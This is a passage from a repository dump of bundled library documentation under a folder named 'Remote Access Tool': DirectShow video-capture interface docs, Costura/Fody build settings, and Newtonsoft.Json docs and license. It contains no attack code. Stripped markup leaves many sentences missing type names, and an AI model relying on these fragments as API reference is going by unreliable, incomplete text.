HRESULT error code. Retrieves the window style on the video window. Window style flags. Return's HRESULT error code. Sets the extended window style on the video window. Window extended style flags. Return's HRESULT error code. Retrieves the extended window style on the video window. Window extended style flags. Return's HRESULT error code. Specifies whether the video renderer automatically shows the video window when it receives video data. Specifies whether the video renderer automatically shows the video window. Return's HRESULT error code. Queries whether the video renderer automatically shows the video window when it receives video data. REceives window auto show flag. Return's HRESULT error code. Shows, hides, minimizes, or maximizes the video window. Window state. Return's HRESULT error code. Queries whether the video window is visible, hidden, minimized, or maximized. Window state. Return's HRESULT error code. Specifies whether the video window realizes its palette in the background. Value that specifies whether the video renderer realizes it palette in the background. Return's HRESULT error code. Queries whether the video window realizes its palette in the background. Receives state of background palette flag. Return's HRESULT error code. Shows or hides the video window. Value that specifies whether to show or hide the window. Return's HRESULT error code. Queries whether the video window is visible. Visibility flag. Return's HRESULT error code. Sets the video window's x-coordinate. Specifies the x-coordinate, in pixels. Return's HRESULT error code. Retrieves the video window's x-coordinate. x-coordinate, in pixels. Return's HRESULT error code. Sets the width of the video window. Specifies the width, in pixels. Return's HRESULT error code. Retrieves the width of the video window. Width, in pixels. Return's HRESULT error code. Sets the video window's y-coordinate. Specifies the y-coordinate, in pixels. Return's HRESULT error code. Retrieves the video window's y-coordinate. y-coordinate, in pixels. Return's HRESULT error code. Sets the height of the video window. Specifies the height, in pixels. Return's HRESULT error code. Retrieves the height of the video window. Height, in pixels. Return's HRESULT error code. Specifies a parent window for the video windowю Specifies a handle to the parent window. Return's HRESULT error code. Retrieves the video window's parent window, if anyю Parent window's handle. Return's HRESULT error code. Specifies a window to receive mouse and keyboard messages from the video window. Specifies a handle to the window. Return's HRESULT error code. Retrieves the window that receives mouse and keyboard messages from the video window, if any. Window's handle. Return's HRESULT error code. Retrieves the color that appears around the edges of the destination rectangle. Border's color. Return's HRESULT error code. Sets the color that appears around the edges of the destination rectangle. Specifies the border color. Return's HRESULT error code. Queries whether the video renderer is in full-screen mode. Full-screen mode. Return's HRESULT error code. Enables or disables full-screen mode. Boolean value that specifies whether to enable or disable full-screen mode. Return's HRESULT error code. Places the video window at the top of the Z order. Value that specifies whether to give the window focus. Return's HRESULT error code. Forwards a message to the video window. Handle to the window. Specifies the message. Message parameter. Message parameter. Return's HRESULT error code. Sets the position of the video windowю Specifies the x-coordinate, in pixels. Specifies the y-coordinate, in pixels. Specifies the width, in pixels. Specifies the height, in pixels. Return's HRESULT error code. Retrieves the position of the video window. x-coordinate, in pixels. y-coordinate, in pixels. Width, in pixels. Height, in pixels. Return's HRESULT error code. Retrieves the minimum ideal size for the video image. Receives the minimum ideal width, in pixels. Receives the minimum ideal height, in pixels. Return's HRESULT error code. Retrieves the maximum ideal size for the video image. Receives the maximum ideal width, in pixels. Receives the maximum ideal height, in pixels. Return's HRESULT error code. Retrieves the restored window position. x-coordinate, in pixels. y-coordinate, in pixels. Width, in pixels. Height, in pixels. Return's HRESULT error code. Hides the cursor. Specifies whether to hide or display the cursor. Return's HRESULT error code. Queries whether the cursor is hidden. Specifies if cursor is hidden or not. Return's HRESULT error code. The IPropertyBag interface provides an object with a property bag in which the object can persistently save its properties. Read a property from property bag. Property name to read. Property value. Caller's error log. Return's HRESULT error code. Write property to property bag. Property name to read. Property value. Return's HRESULT error code. The interface provides methods for controlling the flow of data through the filter graph. It includes methods for running, pausing, and stopping the graph. This method informs the filter to transition to the new state. Return's HRESULT error code. This method informs the filter to transition to the new state. Return's HRESULT error code. This method informs the filter to transition to the new (running) state. Passes a time value to synchronize independent streams. Time value of the reference clock. The amount to be added to the IMediaSample time stamp to determine the time at which that sample should be rendered according to the reference clock. That is, it is the reference time at which a sample with a stream time of zero should be rendered. Return's HRESULT error code. This method determines the filter's state. Duration of the time-out, in milliseconds. To block indefinitely, pass INFINITE. Returned state of the filter. States include stopped, paused, running, or intermediate (in the process of changing). Return's HRESULT error code. This method identifies the reference clock to which the filter should synchronize activity. Pointer to the IReferenceClock interface. Return's HRESULT error code. This method retrieves the current reference clock in use by this filter. Pointer to a reference clock; it will be set to the IReferenceClock interface. Return's HRESULT error code. The interface provides methods for controlling the flow of data through the filter graph. It includes methods for running, pausing, and stopping the graph. Runs all the filters in the filter graph. Return's HRESULT error code. Pauses all filters in the filter graph. Return's HRESULT error code. Stops all the filters in the filter graph. Return's HRESULT error code. Retrieves the state of the filter graph. Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out. Мariable that receives a member of the FILTER_STATE enumeration. Return's HRESULT error code. Builds a filter graph that renders the specified file. Name of the file to render Return's HRESULT error code. Adds a source filter to the filter graph, for a specified file. Name of the file containing the source video. Receives interface of filter information object. Return's HRESULT error code. Retrieves a collection of the filters in the filter graph. Receives the IAMCollection interface. Return's HRESULT error code. Retrieves a collection of all the filters listed in the registry. Receives the IDispatch interface of IAMCollection object. Return's HRESULT error code. Pauses the filter graph, allowing filters to queue data, and then stops the filter graph. Return's HRESULT error code. This interface extends the and interfaces, which contain methods for building filter graphs. Adds a filter to the graph and gives it a name. Filter to add to the graph. Name of the filter. Return's HRESULT error code. Removes a filter from the graph. Filter to be removed from the graph. Return's HRESULT error code. Provides an enumerator for all filters in the graph. Filter enumerator. Return's HRESULT error code. Finds a filter that was added with a specified name. Name of filter to search for. Interface of found filter. Return's HRESULT error code. Connects two pins directly (without intervening filters). Output pin. Input pin. Media type to use for the connection. Return's HRESULT error code. Breaks the existing pin connection and reconnects it to the same pin. Pin to disconnect and reconnect. Return's HRESULT error code. Disconnects a specified pin. Pin to disconnect. Return's HRESULT error code. Sets the reference clock to the default clock. Return's HRESULT error code. Connects two pins. If they will not connect directly, this method connects them with intervening transforms. Output pin. Input pin. Return's HRESULT error code. Adds a chain of filters to a specified output pin to render it. Output pin. Return's HRESULT error code. Builds a filter graph that renders the specified file. Specifies a string that contains file name or device moniker. Reserved. Return's HRESULT error code. Adds a source filter to the filter graph for a specific file. Specifies the name of the file to load. Specifies a name for the source filter. Variable that receives the interface of the source filter. Return's HRESULT error code. Sets the file for logging actions taken when attempting to perform an operation. Handle to the log file. Return's HRESULT error code. Requests that the graph builder return as soon as possible from its current task. Return's HRESULT error code. Queries whether the current operation should continue. Return's HRESULT error code. Moniker interface. Bind context interface. Name for the filter. Receives source filter's IBaseFilter interface. The caller must release the interface. Return's HRESULT error code. Breaks the existing pin connection and reconnects it to the same pin, using a specified media type. Pin to disconnect and reconnect. Media type to reconnect with. Return's HRESULT error code. Render an output pin, with an option to use existing renderers only. Interface of the output pin. Flag that specifies how to render the pin. Reserved. Return's HRESULT error code. This interface is used by applications or other filters to determine what filters exist in the filter graph. Retrieves the specified number of filters in the enumeration sequence. Number of filters to retrieve. Array in which to place interfaces. Actual number of filters placed in the array. Return's HRESULT error code. Skips a specified number of filters in the enumeration sequence. Number of filters to skip. Return's HRESULT error code. Resets the enumeration sequence to the beginning. Return's HRESULT error code. Makes a copy of the enumerator with the same enumeration state. Duplicate of the enumerator. Return's HRESULT error code. The ICreateDevEnum interface creates an enumerator for devices within a particular category, such as video capture devices, audio capture devices, video compressors, and so forth. Creates a class enumerator for a specified device category. Specifies the class identifier of the device category. Address of a variable that receives an IEnumMoniker interface pointer Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category. Return's HRESULT error code. Some Win32 API used internally. Supplies a pointer to an implementation of IBindCtx (a bind context object). This object stores information about a particular moniker-binding operation. Reserved for future use; must be zero. Address of IBindCtx* pointer variable that receives the interface pointer to the new bind context object. Returns S_OK on success. Converts a string into a moniker that identifies the object named by the string. Pointer to the IBindCtx interface on the bind context object to be used in this binding operation. Pointer to a zero-terminated wide character string containing the display name to be parsed. Pointer to the number of characters of szUserName that were consumed. Address of IMoniker* pointer variable that receives the interface pointer to the moniker that was built from szUserName. Returns S_OK on success. Copy a block of memory. Destination pointer. Source pointer. Memory block's length to copy. Return's the value of dst - pointer to destination. Invokes a new property frame, that is, a property sheet dialog box. Parent window of property sheet dialog box. Horizontal position for dialog box. Vertical position for dialog box. Dialog box caption. Number of object pointers in ppUnk. Pointer to the objects for property sheet. Number of property pages in lpPageClsID. Array of CLSIDs for each property page. Locale identifier for property sheet locale. Reserved. Reserved. Returns S_OK on success. The enumeration specifies a setting on a camera. Pan control. Tilt control. Roll control. Zoom control. Exposure control. Iris control. Focus control. The enumeration defines whether a camera setting is controlled manually or automatically. No control flag. Auto control Flag. Manual control Flag. Video input of a capture board. The class is used to describe video input of devices like video capture boards, which usually provide several inputs. Index of the video input. Type of the video input. Default video input. Used to specify that it should not be changed. DirectShow filter information. Initializes a new instance of the class. Filters's moniker string. Initializes a new instance of the class. Filter's moniker object. Compare the object with another instance of this class. Object to compare with. A signed number indicating the relative values of this instance and value. Create an instance of the filter. Filter's moniker string. Returns filter's object, which implements IBaseFilter interface. The returned filter's object should be released using Marshal.ReleaseComObject(). Filter name. Filters's moniker string. DirectShow class IDs. System device enumerator. Equals to CLSID_SystemDeviceEnum. Filter graph. Equals to CLSID_FilterGraph. Sample grabber. Equals to CLSID_SampleGrabber. Capture graph builder. Equals to CLSID_CaptureGraphBuilder2. Async reader. Equals to CLSID_AsyncReader. DirectShow format types. VideoInfo. Equals to FORMAT_VideoInfo. VideoInfo2. Equals to FORMAT_VideoInfo2. DirectShow media types. Video. Equals to MEDIATYPE_Video. Interleaved. Used by Digital Video (DV). Equals to MEDIATYPE_Interleaved. Audio. Equals to MEDIATYPE_Audio. Text. Equals to MEDIATYPE_Text. Byte stream with no time stamps. Equals to MEDIATYPE_Stream. DirectShow media subtypes. YUY2 (packed 4:2:2). Equals to MEDIASUBTYPE_YUYV. IYUV. Equals to MEDIASUBTYPE_IYUV. A DV encoding format. (FOURCC 'DVSD') Equals to MEDIASUBTYPE_DVSD. RGB, 1 bit per pixel (bpp), palettized. Equals to MEDIASUBTYPE_RGB1. RGB, 4 bpp, palettized. Equals to MEDIASUBTYPE_RGB4. RGB, 8 bpp. Equals to MEDIASUBTYPE_RGB8. RGB 565, 16 bpp. Equals to MEDIASUBTYPE_RGB565. RGB 555, 16 bpp. Equals to MEDIASUBTYPE_RGB555. RGB, 24 bpp. Equals to MEDIASUBTYPE_RGB24. RGB, 32 bpp, no alpha channel. Equals to MEDIASUBTYPE_RGB32. Data from AVI file. Equals to MEDIASUBTYPE_Avi. Advanced Streaming Format (ASF). Equals to MEDIASUBTYPE_Asf. DirectShow pin categories. Capture pin. Equals to PIN_CATEGORY_CAPTURE. Still image pin. Equals to PIN_CATEGORY_STILL. Equals to LOOK_UPSTREAM_ONLY. Equals to LOOK_DOWNSTREAM_ONLY. The IReferenceClock interface provides the reference time for the filter graph. Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock. The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to retrieve the current reference time, or to request notification of an elapsed time. The GetTime method retrieves the current reference time. Pointer to a variable that receives the current time, in 100-nanosecond units. Return's HRESULT error code. The AdviseTime method creates a one-shot advise request. Base reference time, in 100-nanosecond units. See Remarks. Stream offset time, in 100-nanosecond units. See Remarks. Handle to an event, created by the caller. Pointer to a variable that receives an identifier for the advise request. Return's HRESULT error code. The AdvisePeriodic method creates a periodic advise request. Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME. Time between notifications, in 100-nanosecond units. Must be greater than zero. Handle to a semaphore, created by the caller. Pointer to a variable that receives an identifier for the advise request. Return's HRESULT error code. The Unadvise method removes a pending advise request. Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter. Return's HRESULT error code. The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter. Retrieves the number of input and output pins on the crossbar filter. Variable that receives the number of output pins. Variable that receives the number of input pins. Return's HRESULT error code. Queries whether a specified input pin can be routed to a specified output pin. Specifies the index of the output pin. Specifies the index of input pin. Return's HRESULT error code. Routes an input pin to an output pin. Specifies the index of the output pin. Specifies the index of the input pin. Return's HRESULT error code. Retrieves the input pin that is currently routed to the specified output pin. Specifies the index of the output pin. Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin. Return's HRESULT error code. Retrieves information about a specified pin. Specifies the direction of the pin. Use one of the following values. Specifies the index of the pin. Variable that receives the index of the related pin, or –1 if no pin is related to this pin. Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type. Return's HRESULT error code. The IBaseFilter interface provides methods for controlling a filter. All DirectShow filters expose this interface Returns the class identifier (CLSID) for the component object. Points to the location of the CLSID on return. Return's HRESULT error code. Stops the filter. Return's HRESULT error code. Pauses the filter. Return's HRESULT error code. Runs the filter. Reference time corresponding to stream time 0. Return's HRESULT error code. Retrieves the state of the filter (running, stopped, or paused). Time-out interval, in milliseconds. Pointer to a variable that receives filter's state. Return's HRESULT error code. Sets the reference clock for the filter or the filter graph. Pointer to the clock's IReferenceClock interface, or NULL. Return's HRESULT error code. Retrieves the current reference clock. Address of a variable that receives a pointer to the clock's IReferenceClock interface. Return's HRESULT error code. Enumerates the pins on this filter. Address of a variable that receives a pointer to the IEnumPins interface. Return's HRESULT error code. Retrieves the pin with the specified identifier. Pointer to a constant wide-character string that identifies the pin. Address of a variable that receives a pointer to the pin's IPin interface. Return's HRESULT error code. Retrieves information about the filter. Pointer to FilterInfo structure. Return's HRESULT error code. Notifies the filter that it has joined or left the filter graph. Pointer to the Filter Graph Manager's IFilterGraph interface, or NULL if the filter is leaving the graph. String that specifies a name for the filter. Return's HRESULT error code. Retrieves a string containing vendor information. Receives a string containing the vendor information. Return's HRESULT error code. The interface inherits contains methods for retrieving event notifications and for overriding the filter graph's default handling of events. Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications. Pointer to a variable that receives the event handle. Return's HRESULT error code. Retrieves the next event notification from the event queue. Variable that receives the event code. Pointer to a variable that receives the first event parameter. Pointer to a variable that receives the second event parameter. Time-out interval, in milliseconds. Return's HRESULT error code. Waits for the filter graph to render all available data. Time-out interval, in milliseconds. Pass zero to return immediately. Pointer to a variable that receives an event code. Return's HRESULT error code. Cancels the Filter Graph Manager's default handling for a specified event. Event code for which to cancel default handling. Return's HRESULT error code. Restores the Filter Graph Manager's default handling for a specified event. Event code for which to restore default handling. Return's HRESULT error code. Frees resources associated with the parameters of an event. Event code. First event parameter. Second event parameter. Return's HRESULT error code. Registers a window to process event notifications. Handle to the window, or to stop receiving event messages. Window message to be passed as the notification. Value to be passed as the lParam parameter for the lMsg message. Return's HRESULT error code. Enables or disables event notifications. Value indicating whether to enable or disable event notifications. Return's HRESULT error code. Determines whether event notifications are enabled. Variable that receives current notification status. Return's HRESULT error code. Video source for video files. The video source provides access to video files. DirectShow is used to access video files. Sample usage: // create video source FileVideoSource videoSource = new FileVideoSource( fileName ); // set NewFrame event handler videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); // start the video source videoSource.Start( ); // ... // signal to stop videoSource.SignalToStop( ); // ... // New frame event handler, which is invoked on each new available video frame private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) { // get new frame Bitmap bitmap = eventArgs.Frame; // process the frame } Initializes a new instance of the class. Initializes a new instance of the class. Video file name. Start video source. Starts video source and return execution to caller. Video source object creates background thread and notifies about new frames with the help of event. Signal video source to stop its work. Signals video source to stop its background thread, stop to provide new frames and free resources. Wait for video source has stopped. Waits for source stopping after it was signalled to stop using method. Stop video source. Stops video source aborting its thread. Since the method aborts background thread, its usage is highly not preferred and should be done only if there are no other options. The correct way of stopping camera is signaling it stop and then waiting for background thread's completion. Free resource. Worker thread. Notifies client about new frame. New frame's image. New frame event. Notifies clients about new available frame from video source. Since video source may have multiple clients, each client is responsible for making a copy (cloning) of the passed video frame, because the video source disposes its own original copy after notifying of clients. Video source error event. This event is used to notify clients about any type of errors occurred in video source object, for example internal exceptions. Video playing finished event. This event is used to notify clients that the video playing has finished. Video source. Video source is represented by video file name. Received frames count. Number of frames the video source provided from the moment of the last access to the property. Received bytes count. Number of bytes the video source provided from the moment of the last access to the property. State of the video source. Current state of video source object - running or not. Prevent video freezing after screen saver and workstation lock or not. The value specifies if the class should prevent video freezing during and after screen saver or workstation lock. To prevent freezing the DirectShow graph should not contain Renderer filter, which is added by Render() method of graph. However, in some cases it may be required to call Render() method of graph, since it may add some more filters, which may be required for playing video. So, the property is a trade off - it is possible to prevent video freezing skipping adding renderer filter or it is possible to keep renderer filter, but video may freeze during screen saver. The property may become obsolete in the future when approach to disable freezing and adding all required filters is found. The property should be set before calling method of the class to have effect. Default value of this property is set to false. Enables/disables reference clock on the graph. Disabling reference clocks causes DirectShow graph to run as fast as it can process data. When enabled, it will process frames according to presentation time of a video file. The property should be set before calling method of the class to have effect. Default value of this property is set to true. ================================================ FILE: Remote Access Tool/packages/Costura.Fody.4.1.0/build/Costura.Fody.props ================================================  ================================================ FILE: Remote Access Tool/packages/Costura.Fody.4.1.0/lib/net40/Costura.xml ================================================ Costura Contains methods for interacting with the Costura system. Call this to Initialize the Costura system. ================================================ FILE: Remote Access Tool/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.xcf ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. ================================================ FILE: Remote Access Tool/packages/Fody.6.0.0/build/Fody.targets ================================================  $(ProjectDir)FodyWeavers.xml $(MSBuildThisFileDirectory)..\ $(FodyPath)netstandardtask $(FodyPath)netclassictask $(FodyAssemblyDirectory)\Fody.dll $(DefaultItemExcludes);FodyWeavers.xsd true 15 $([System.Version]::Parse($(MSBuildVersion)).Major) ================================================ FILE: Remote Access Tool/packages/Newtonsoft.Json.13.0.1/LICENSE.md ================================================ The MIT License (MIT) Copyright (c) 2007 James Newton-King Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/net20/Newtonsoft.Json.xml ================================================ Newtonsoft.Json Represents a BSON Oid (object id). Gets or sets the value of the Oid. The value of the Oid. Initializes a new instance of the class. The Oid value. Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. Gets or sets a value indicating whether the root object will be read as a JSON array. true if the root object will be read as a JSON array; otherwise, false. Gets or sets the used when reading values from BSON. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Changes the reader's state to . If is set to true, the underlying is also closed. Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. Gets or sets the used when writing values to BSON. When set to no conversion will occur. The used when writing values to BSON. Initializes a new instance of the class. The to write to. Initializes a new instance of the class. The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. Writes the end. The token. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the start of a constructor with the given name. The name of the constructor. Writes raw JSON. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes the beginning of a JSON array. Writes the beginning of a JSON object. Writes the property name of a name/value pair on a JSON object. The name of the property. Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value that represents a BSON object id. The Object ID value to write. Writes a BSON regex. The regex pattern. The regex options. Specifies how constructors are used when initializing objects during deserialization by the . First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. Json.NET will use a non-public default constructor before falling back to a parameterized constructor. Converts a binary value to and from a base 64 string value. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Creates a custom object. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Creates an object which will then be populated by the serializer. Type of the object. The created object. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Provides a base class for converting a to and from JSON. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). Gets or sets the date time styles used when converting a date to and from JSON. The date time styles used when converting a date to and from JSON. Gets or sets the date time format used when converting a date to and from JSON. The date time format used when converting a date to and from JSON. Gets or sets the culture used when converting a date to and from JSON. The culture used when converting a date to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an to and from its name string value. Gets or sets a value indicating whether the written enum text should be camel case. The default value is false. true if the written enum text will be camel case; otherwise, false. Gets or sets the naming strategy used to resolve how enum text is written. The naming strategy used to resolve how enum text is written. Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. The default value is true. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class. true if the written enum text will be camel case; otherwise, false. Initializes a new instance of the class. The naming strategy used to resolve how enum text is written. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. The of the used to write enum text. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. true if integers are allowed when serializing and deserializing; otherwise, false. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from Unix epoch time Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from a string (e.g. "1.2.3.4"). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts XML to and from JSON. Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. The name of the deserialized root element. Gets or sets a value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. true if the array attribute is written to the XML; otherwise, false. Gets or sets a value indicating whether to write the root JSON object. true if the JSON root object is omitted; otherwise, false. Gets or sets a value indicating whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. true if special characters are encoded; otherwise, false. Writes the JSON representation of the object. The to write to. The calling serializer. The value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Checks if the is a namespace attribute. Attribute name to test. The attribute name prefix if it has one, otherwise an empty string. true if attribute name is for a namespace attribute, otherwise false. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Specifies how dates are formatted when writing JSON text. Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. Date formatted strings are not parsed to a date type and are read as strings. Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Specifies how to treat the time value when converting between string and . Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. Treat as a UTC. If the object represents a local time, it is converted to a UTC. Treat as a local time if a is being converted to a string. If a string is being converted to , convert to a local time if a time zone is specified. Time zone information should be preserved when converting. The default JSON name table implementation. Initializes a new instance of the class. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Adds the specified string into name table. The string to add. This method is not thread-safe. The resolved string. Specifies default value handling options for the . Include members where the member value is the same as the member's default value when serializing objects. Included members are written to JSON. Has no effect when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects so that it is not written to JSON. This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, decimals and floating point numbers; and false for booleans). The default value ignored can be changed by placing the on the property. Members with a default value but no JSON will be set to their default value when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects and set members to their default value when deserializing. Specifies float format handling options when writing special floating point numbers, e.g. , and with . Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. Note that this will produce non-valid JSON. Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Floating point numbers are parsed to . Floating point numbers are parsed to . Specifies formatting options for the . No special formatting is applied. This is the default. Causes child objects to be indented according to the and settings. Provides an interface for using pooled arrays. The array type content. Rent an array from the pool. This array must be returned when it is no longer needed. The minimum required length of the array. The returned array may be longer. The rented array from the pool. This array must be returned when it is no longer needed. Return an array to the pool. The array that is being returned. Provides an interface to enable a class to return line and position information. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, when returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, when returns false). Instructs the how to serialize the collection. 